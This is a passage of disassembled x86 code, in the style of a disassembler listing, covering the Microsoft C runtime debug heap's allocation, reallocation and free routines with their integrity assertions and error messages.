ds:dword_4517E4 add edx, 1 mov ds:dword_4517E4, edx cmp [ebp+var_C], 0 jz short loc_41C193 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0 mov eax, [ebp+var_4] mov dword ptr [eax+0Ch], 0FEDCBABCh mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov dword ptr [eax+14h], 3 mov ecx, [ebp+var_4] mov dword ptr [ecx+18h], 0 jmp loc_41C233 ; --------------------------------------------------------------------------- loc_41C193: ; CODE XREF: sub_41BF80+1C8j mov edx, ds:dword_4F32E4 add edx, [ebp+arg_0] mov ds:dword_4F32E4, edx mov eax, ds:dword_4F32EC add eax, [ebp+arg_0] mov ds:dword_4F32EC, eax mov ecx, ds:dword_4F32EC cmp ecx, ds:dword_4F32F0 jbe short loc_41C1C9 mov edx, ds:dword_4F32EC mov ds:dword_4F32F0, edx loc_41C1C9: ; CODE XREF: sub_41BF80+23Bj cmp ds:dword_4F32E8, 0 jz short loc_41C1DF mov eax, ds:dword_4F32E8 mov ecx, [ebp+var_4] mov [eax+4], ecx jmp short loc_41C1E8 ; --------------------------------------------------------------------------- loc_41C1DF: ; CODE XREF: sub_41BF80+250j mov edx, [ebp+var_4] mov ds:dword_4F32E0, edx loc_41C1E8: ; CODE XREF: sub_41BF80+25Dj mov eax, [ebp+var_4] mov ecx, ds:dword_4F32E8 mov [eax], ecx mov edx, [ebp+var_4] mov dword ptr [edx+4], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov [eax+8], ecx mov edx, [ebp+var_4] mov eax, [ebp+arg_C] mov [edx+0Ch], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [eax+14h], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov [edx+18h], eax mov ecx, [ebp+var_4] mov ds:dword_4F32E8, ecx loc_41C233: ; CODE XREF: sub_41BF80+20Ej push 4 xor edx, edx mov dl, ds:byte_4517EC push edx mov eax, [ebp+var_4] add eax, 1Ch push eax call sub_41E4B0 add esp, 0Ch push 4 xor ecx, ecx mov cl, ds:byte_4517EC push ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] lea ecx, [eax+edx+20h] push ecx call sub_41E4B0 add esp, 0Ch mov edx, [ebp+arg_0] push edx xor eax, eax mov al, ds:byte_4517EE push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx call sub_41E4B0 add esp, 0Ch mov eax, [ebp+var_4] add eax, 20h loc_41C28C: ; CODE XREF: sub_41BF80+DFj ; sub_41BF80+13Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41BF80 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_41C2D0 add esp, 14h mov [ebp-4], eax mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2D0 proc near ; CODE XREF: _0:0041C2B2p ; sub_4222D0+40p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] imul eax, [ebp+arg_0] mov [ebp+arg_4], eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_41BE70 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41C329 mov edx, [ebp+var_8] mov [ebp+var_C], edx mov eax, [ebp+var_C] add eax, [ebp+arg_4] mov [ebp+var_4], eax loc_41C310: ; CODE XREF: sub_41C2D0+57j mov ecx, [ebp+var_C] cmp ecx, [ebp+var_4] jnb short loc_41C329 mov edx, [ebp+var_C] mov byte ptr [edx], 0 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_41C310 ; --------------------------------------------------------------------------- loc_41C329: ; CODE XREF: sub_41C2D0+2Fj ; sub_41C2D0+46j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_41C2D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C330 proc near ; CODE XREF: sub_4010AA+2Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41C360 add esp, 14h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41C330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C360 proc near ; CODE XREF: sub_41C330+12p ; sub_420C50+50p ... var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h ; FUNCTION CHUNK AT 0041C3CE SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43C630 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 0 push 1 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41C3F0 add esp, 18h mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_41C3C3 jmp short loc_41C3CE sub_41C360 endp ; =============== S U B R O U T I N E ======================================= sub_41C3C3 proc near ; CODE XREF: sub_41C360+5Cp push 9 call sub_423320 add esp, 4 retn sub_41C3C3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C360 loc_41C3CE: ; CODE XREF: sub_41C360+61j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41C360 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3F0 proc near ; CODE XREF: sub_41C360+4Ap ; sub_41C940+4Ap var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_14], 0 cmp [ebp+arg_0], 0 jnz short loc_41C423 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_41BE70 add esp, 10h jmp loc_41C8FA ; --------------------------------------------------------------------------- loc_41C423: ; CODE XREF: sub_41C3F0+14j cmp [ebp+arg_14], 0 jz short loc_41C446 cmp [ebp+arg_4], 0 jnz short loc_41C446 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_41CA10 add esp, 8 xor eax, eax jmp loc_41C8FA ; --------------------------------------------------------------------------- loc_41C446: ; CODE XREF: sub_41C3F0+37j ; sub_41C3F0+3Dj mov eax, ds:dword_4517E0 and eax, 4 test eax, eax jz short loc_41C482 loc_41C452: ; CODE XREF: sub_41C3F0+90j call sub_41D1D0 test eax, eax jnz short loc_41C47C push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 246h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41C47C int 3 ; Trap to Debugger loc_41C47C: ; CODE XREF: sub_41C3F0+69j ; sub_41C3F0+89j xor ecx, ecx test ecx, ecx jnz short loc_41C452 loc_41C482: ; CODE XREF: sub_41C3F0+60j mov edx, ds:dword_4517E4 mov [ebp+var_10], edx mov eax, [ebp+var_10] cmp eax, ds:dword_4517E8 jnz short loc_41C497 int 3 ; Trap to Debugger loc_41C497: ; CODE XREF: sub_41C3F0+A4j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 2 call ds:off_451BB0 add esp, 1Ch test eax, eax jnz short loc_41C51C cmp [ebp+arg_C], 0 jz short loc_41C4EF loc_41C4C4: ; CODE XREF: sub_41C3F0+FBj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx push offset aClientHookReAl ; "Client hook re-allocation failure at fi"... push 0 push 0 push 0 push 0 call sub_422610 add esp, 1Ch cmp eax, 1 jnz short loc_41C4E7 int 3 ; Trap to Debugger loc_41C4E7: ; CODE XREF: sub_41C3F0+F4j xor eax, eax test eax, eax jnz short loc_41C4C4 jmp short loc_41C515 ; --------------------------------------------------------------------------- loc_41C4EF: ; CODE XREF: sub_41C3F0+D2j ; sub_41C3F0+123j push offset aClientHookRe_0 ; "Client hook re-allocation failure.\n" push offset aS_19 ; "%s" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41C50F int 3 ; Trap to Debugger loc_41C50F: ; CODE XREF: sub_41C3F0+11Cj xor ecx, ecx test ecx, ecx jnz short loc_41C4EF loc_41C515: ; CODE XREF: sub_41C3F0+FDj xor eax, eax jmp loc_41C8FA ; --------------------------------------------------------------------------- loc_41C51C: ; CODE XREF: sub_41C3F0+CCj cmp [ebp+arg_4], 0FFFFFFDBh jbe short loc_41C54E loc_41C522: ; CODE XREF: sub_41C3F0+155j mov edx, [ebp+arg_4] push edx push offset aAllocationTooL ; "Allocation too large or negative: %u by"... push 0 push 0 push 0 push 1 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41C541 int 3 ; Trap to Debugger loc_41C541: ; CODE XREF: sub_41C3F0+14Ej xor eax, eax test eax, eax jnz short loc_41C522 xor eax, eax jmp loc_41C8FA ; --------------------------------------------------------------------------- loc_41C54E: ; CODE XREF: sub_41C3F0+130j cmp [ebp+arg_8], 1 jz short loc_41C596 mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 4 jz short loc_41C596 mov edx, [ebp+arg_8] and edx, 0FFFFh cmp edx, 2 jz short loc_41C596 loc_41C570: ; CODE XREF: sub_41C3F0+1A4j push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_19 ; "%s" push 0 push 0 push 0 push 1 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41C590 int 3 ; Trap to Debugger loc_41C590: ; CODE XREF: sub_41C3F0+19Dj xor eax, eax test eax, eax jnz short loc_41C570 loc_41C596: ; CODE XREF: sub_41C3F0+162j ; sub_41C3F0+170j ... mov ecx, [ebp+arg_0] push ecx call sub_41D6B0 add esp, 4 test eax, eax jnz short loc_41C5C7 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 26Eh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41C5C7 int 3 ; Trap to Debugger loc_41C5C7: ; CODE XREF: sub_41C3F0+1B4j ; sub_41C3F0+1D4j xor edx, edx test edx, edx jnz short loc_41C596 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jnz short loc_41C5E6 mov [ebp+var_14], 1 loc_41C5E6: ; CODE XREF: sub_41C3F0+1EDj cmp [ebp+var_14], 0 jz short loc_41C62A loc_41C5EC: ; CODE XREF: sub_41C3F0+236j mov edx, [ebp+var_8] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_41C601 mov eax, [ebp+var_8] cmp dword ptr [eax+18h], 0 jz short loc_41C622 loc_41C601: ; CODE XREF: sub_41C3F0+206j push offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"... push 0 push 278h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41C622 int 3 ; Trap to Debugger loc_41C622: ; CODE XREF: sub_41C3F0+20Fj ; sub_41C3F0+22Fj xor ecx, ecx test ecx, ecx jnz short loc_41C5EC jmp short loc_41C68E ; --------------------------------------------------------------------------- loc_41C62A: ; CODE XREF: sub_41C3F0+1FAj mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_41C64F mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 1 jnz short loc_41C64F mov [ebp+arg_8], 2 loc_41C64F: ; CODE XREF: sub_41C3F0+248j ; sub_41C3F0+256j ... mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp eax, ecx jz short loc_41C688 push offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"... push 0 push 27Fh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41C688 int 3 ; Trap to Debugger loc_41C688: ; CODE XREF: sub_41C3F0+275j ; sub_41C3F0+295j xor edx, edx test edx, edx jnz short loc_41C64F loc_41C68E: ; CODE XREF: sub_41C3F0+238j cmp [ebp+arg_14], 0 jz short loc_41C6B9 mov eax, [ebp+arg_4] add eax, 24h push eax mov ecx, [ebp+var_8] push ecx call sub_423830 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_41C6B7 xor eax, eax jmp loc_41C8FA ; --------------------------------------------------------------------------- loc_41C6B7: ; CODE XREF: sub_41C3F0+2BEj jmp short loc_41C6DC ; --------------------------------------------------------------------------- loc_41C6B9: ; CODE XREF: sub_41C3F0+2A2j mov edx, [ebp+arg_4] add edx, 24h push edx mov eax, [ebp+var_8] push eax call sub_423620 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_41C6DC xor eax, eax jmp loc_41C8FA ; --------------------------------------------------------------------------- loc_41C6DC: ; CODE XREF: sub_41C3F0:loc_41C6B7j ; sub_41C3F0+2E3j mov ecx, ds:dword_4517E4 add ecx, 1 mov ds:dword_4517E4, ecx cmp [ebp+var_14], 0 jnz short loc_41C747 mov edx, [ebp+var_C] mov eax, ds:dword_4F32E4 sub eax, [edx+10h] mov ds:dword_4F32E4, eax mov ecx, ds:dword_4F32E4 add ecx, [ebp+arg_4] mov ds:dword_4F32E4, ecx mov edx, [ebp+var_C] mov eax, ds:dword_4F32EC sub eax, [edx+10h] mov ds:dword_4F32EC, eax mov ecx, ds:dword_4F32EC add ecx, [ebp+arg_4] mov ds:dword_4F32EC, ecx mov edx, ds:dword_4F32EC cmp edx, ds:dword_4F32F0 jbe short loc_41C747 mov eax, ds:dword_4F32EC mov ds:dword_4F32F0, eax loc_41C747: ; CODE XREF: sub_41C3F0+2FFj ; sub_41C3F0+34Bj mov ecx, [ebp+var_C] add ecx, 20h mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov eax, [ebp+arg_4] cmp eax, [edx+10h] jbe short loc_41C77F mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] sub edx, [ecx+10h] push edx xor eax, eax mov al, ds:byte_4517EE push eax mov ecx, [ebp+var_C] mov edx, [ebp+var_4] add edx, [ecx+10h] push edx call sub_41E4B0 add esp, 0Ch loc_41C77F: ; CODE XREF: sub_41C3F0+369j push 4 xor eax, eax mov al, ds:byte_4517EC push eax mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] push ecx call sub_41E4B0 add esp, 0Ch cmp [ebp+var_14], 0 jnz short loc_41C7B9 mov edx, [ebp+var_C] mov eax, [ebp+arg_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_10] mov [ecx+0Ch], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_10] mov [eax+18h], ecx loc_41C7B9: ; CODE XREF: sub_41C3F0+3ACj mov edx, [ebp+var_C] mov eax, [ebp+arg_4] mov [edx+10h], eax loc_41C7C2: ; CODE XREF: sub_41C3F0+40Bj cmp [ebp+arg_14], 0 jnz short loc_41C7F7 cmp [ebp+arg_14], 0 jnz short loc_41C7D6 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_8] jz short loc_41C7F7 loc_41C7D6: ; CODE XREF: sub_41C3F0+3DCj push offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "... push 0 push 2B5h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41C7F7 int 3 ; Trap to Debugger loc_41C7F7: ; CODE XREF: sub_41C3F0+3D6j ; sub_41C3F0+3E4j ... xor edx, edx test edx, edx jnz short loc_41C7C2 mov eax, [ebp+var_C] cmp eax, [ebp+var_8] jz short loc_41C80B cmp [ebp+var_14], 0 jz short loc_41C813 loc_41C80B: ; CODE XREF: sub_41C3F0+413j mov eax, [ebp+var_4] jmp loc_41C8FA ; --------------------------------------------------------------------------- loc_41C813: ; CODE XREF: sub_41C3F0+419j mov ecx, [ebp+var_C] cmp dword ptr [ecx], 0 jz short loc_41C82B mov edx, [ebp+var_C] mov eax, [edx] mov ecx, [ebp+var_C] mov edx, [ecx+4] mov [eax+4], edx jmp short loc_41C867 ; --------------------------------------------------------------------------- loc_41C82B: ; CODE XREF: sub_41C3F0+429j ; sub_41C3F0+46Aj mov eax, ds:dword_4F32E0 cmp eax, [ebp+var_8] jz short loc_41C856 push offset a_plastblockPol ; "_pLastBlock == pOldBlock" push 0 push 2C4h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41C856 int 3 ; Trap to Debugger loc_41C856: ; CODE XREF: sub_41C3F0+443j ; sub_41C3F0+463j xor ecx, ecx test ecx, ecx jnz short loc_41C82B mov edx, [ebp+var_C] mov eax, [edx+4] mov ds:dword_4F32E0, eax loc_41C867: ; CODE XREF: sub_41C3F0+439j mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jz short loc_41C87F mov edx, [ebp+var_C] mov eax, [edx+4] mov ecx, [ebp+var_C] mov edx, [ecx] mov [eax], edx jmp short loc_41C8BA ; --------------------------------------------------------------------------- loc_41C87F: ; CODE XREF: sub_41C3F0+47Ej ; sub_41C3F0+4BEj mov eax, ds:dword_4F32E8 cmp eax, [ebp+var_8] jz short loc_41C8AA push offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock" push 0 push 2CFh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41C8AA int 3 ; Trap to Debugger loc_41C8AA: ; CODE XREF: sub_41C3F0+497j ; sub_41C3F0+4B7j xor ecx, ecx test ecx, ecx jnz short loc_41C87F mov edx, [ebp+var_C] mov eax, [edx] mov ds:dword_4F32E8, eax loc_41C8BA: ; CODE XREF: sub_41C3F0+48Dj cmp ds:dword_4F32E8, 0 jz short loc_41C8D1 mov ecx, ds:dword_4F32E8 mov edx, [ebp+var_C] mov [ecx+4], edx jmp short loc_41C8D9 ; --------------------------------------------------------------------------- loc_41C8D1: ; CODE XREF: sub_41C3F0+4D1j mov eax, [ebp+var_C] mov ds:dword_4F32E0, eax loc_41C8D9: ; CODE XREF: sub_41C3F0+4DFj mov ecx, [ebp+var_C] mov edx, ds:dword_4F32E8 mov [ecx], edx mov eax, [ebp+var_C] mov dword ptr [eax+4], 0 mov ecx, [ebp+var_C] mov ds:dword_4F32E8, ecx mov eax, [ebp+var_4] loc_41C8FA: ; CODE XREF: sub_41C3F0+2Ej ; sub_41C3F0+51j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41C3F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_41C940 add esp, 14h mov [ebp-4], eax mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C940 proc near ; CODE XREF: _0:0041C922p var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h ; FUNCTION CHUNK AT 0041C9AE SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43C7E0 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 0 push 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41C3F0 add esp, 18h mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_41C9A3 jmp short loc_41C9AE sub_41C940 endp ; =============== S U B R O U T I N E ======================================= sub_41C9A3 proc near ; CODE XREF: sub_41C940+5Cp ; DATA XREF: _1:0043C7E8o push 9 call sub_423320 add esp, 4 retn sub_41C9A3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C940 loc_41C9AE: ; CODE XREF: sub_41C940+61j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41C940 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9D0 proc near ; CODE XREF: sub_4010AA+5Cp ; sub_40ADC9+B7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 mov eax, [ebp+arg_0] push eax call sub_41CA10 add esp, 8 pop ebp retn sub_41C9D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_41CA80 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA10 proc near ; CODE XREF: sub_41BD80+98p ; sub_41C3F0+47p ... var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041CA6D SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43C7F0 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41CA80 add esp, 8 mov [ebp+var_4], 0FFFFFFFFh call sub_41CA62 jmp short loc_41CA6D sub_41CA10 endp ; =============== S U B R O U T I N E ======================================= sub_41CA62 proc near ; CODE XREF: sub_41CA10+4Bp ; DATA XREF: _1:0043C7F8o push 9 call sub_423320 add esp, 4 retn sub_41CA62 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41CA10 loc_41CA6D: ; CODE XREF: sub_41CA10+50j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41CA10 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA80 proc near ; CODE XREF: _0:0041C9F9p ; sub_41CA10+3Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, ds:dword_4517E0 and eax, 4 test eax, eax jz short loc_41CAC3 loc_41CA93: ; CODE XREF: sub_41CA80+41j call sub_41D1D0 test eax, eax jnz short loc_41CABD push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 402h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41CABD int 3 ; Trap to Debugger loc_41CABD: ; CODE XREF: sub_41CA80+1Aj ; sub_41CA80+3Aj xor ecx, ecx test ecx, ecx jnz short loc_41CA93 loc_41CAC3: ; CODE XREF: sub_41CA80+11j cmp [ebp+arg_0], 0 jnz short loc_41CACE jmp loc_41CE65 ; --------------------------------------------------------------------------- loc_41CACE: ; CODE XREF: sub_41CA80+47j push 0 push 0 push 0 mov edx, [ebp+arg_4] push edx push 0 mov eax, [ebp+arg_0] push eax push 3 call ds:off_451BB0 add esp, 1Ch test eax, eax jnz short loc_41CB18 loc_41CAED: ; CODE XREF: sub_41CA80+91j push offset aClientHookFree ; "Client hook free failure.\n" push offset aS_19 ; "%s" push 0 push 0 push 0 push 0 call sub_422610 add esp, 18h cmp eax, 1 jnz short loc_41CB0D int 3 ; Trap to Debugger loc_41CB0D: ; CODE XREF: sub_41CA80+8Aj xor ecx, ecx test ecx, ecx jnz short loc_41CAED jmp loc_41CE65 ; --------------------------------------------------------------------------- loc_41CB18: ; CODE XREF: sub_41CA80+6Bj ; sub_41CA80+CDj mov edx, [ebp+arg_0] push edx call sub_41D6B0 add esp, 4 test eax, eax jnz short loc_41CB49 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 414h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41CB49 int 3 ; Trap to Debugger loc_41CB49: ; CODE XREF: sub_41CA80+A6j ; sub_41CA80+C6j xor eax, eax test eax, eax jnz short loc_41CB18 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_4], ecx loc_41CB58: ; CODE XREF: sub_41CA80+12Fj mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41CBAB mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 1 jz short loc_41CBAB mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41CBAB mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jz short loc_41CBAB push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 41Ah push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41CBAB int 3 ; Trap to Debugger loc_41CBAB: ; CODE XREF: sub_41CA80+E6j ; sub_41CA80+EFj ... xor edx, edx test edx, edx jnz short loc_41CB58 mov eax, ds:dword_4517E0 and eax, 4 test eax, eax jnz loc_41CC86 push 4 mov cl, ds:byte_4517EC push ecx mov edx, [ebp+var_4] add edx, 1Ch push edx call sub_41D140 add esp, 0Ch test eax, eax jnz short loc_41CC20 loc_41CBDD: ; CODE XREF: sub_41CA80+19Ej mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, ds:off_4517F0[ecx*4] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 1 call sub_422610 add esp, 20h cmp eax, 1 jnz short loc_41CC1A int 3 ; Trap to Debugger loc_41CC1A: ; CODE XREF: sub_41CA80+197j xor eax, eax test eax, eax jnz short loc_41CBDD loc_41CC20: ; CODE XREF: sub_41CA80+15Bj push 4 mov cl, ds:byte_4517EC push ecx mov edx, [ebp+var_4] mov eax, [edx+10h] mov ecx, [ebp+var_4] lea edx, [ecx+eax+20h] push edx call sub_41D140 add esp, 0Ch test eax, eax jnz short loc_41CC86 loc_41CC43: ; CODE XREF: sub_41CA80+204j mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, ds:off_4517F0[ecx*4] push edx push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 1 call sub_422610 add esp, 20h cmp eax, 1 jnz short loc_41CC80 int 3 ; Trap to Debugger loc_41CC80: ; CODE XREF: sub_41CA80+1FDj xor eax, eax test eax, eax jnz short loc_41CC43 loc_41CC86: ; CODE XREF: sub_41CA80+13Bj ; sub_41CA80+1C1j mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jnz short loc_41CCFB loc_41CC8F: ; CODE XREF: sub_41CA80+249j mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_41CCA4 mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 0 jz short loc_41CCC5 loc_41CCA4: ; CODE XREF: sub_41CA80+219j push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"... push 0 push 42Fh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_41CCC5 int 3 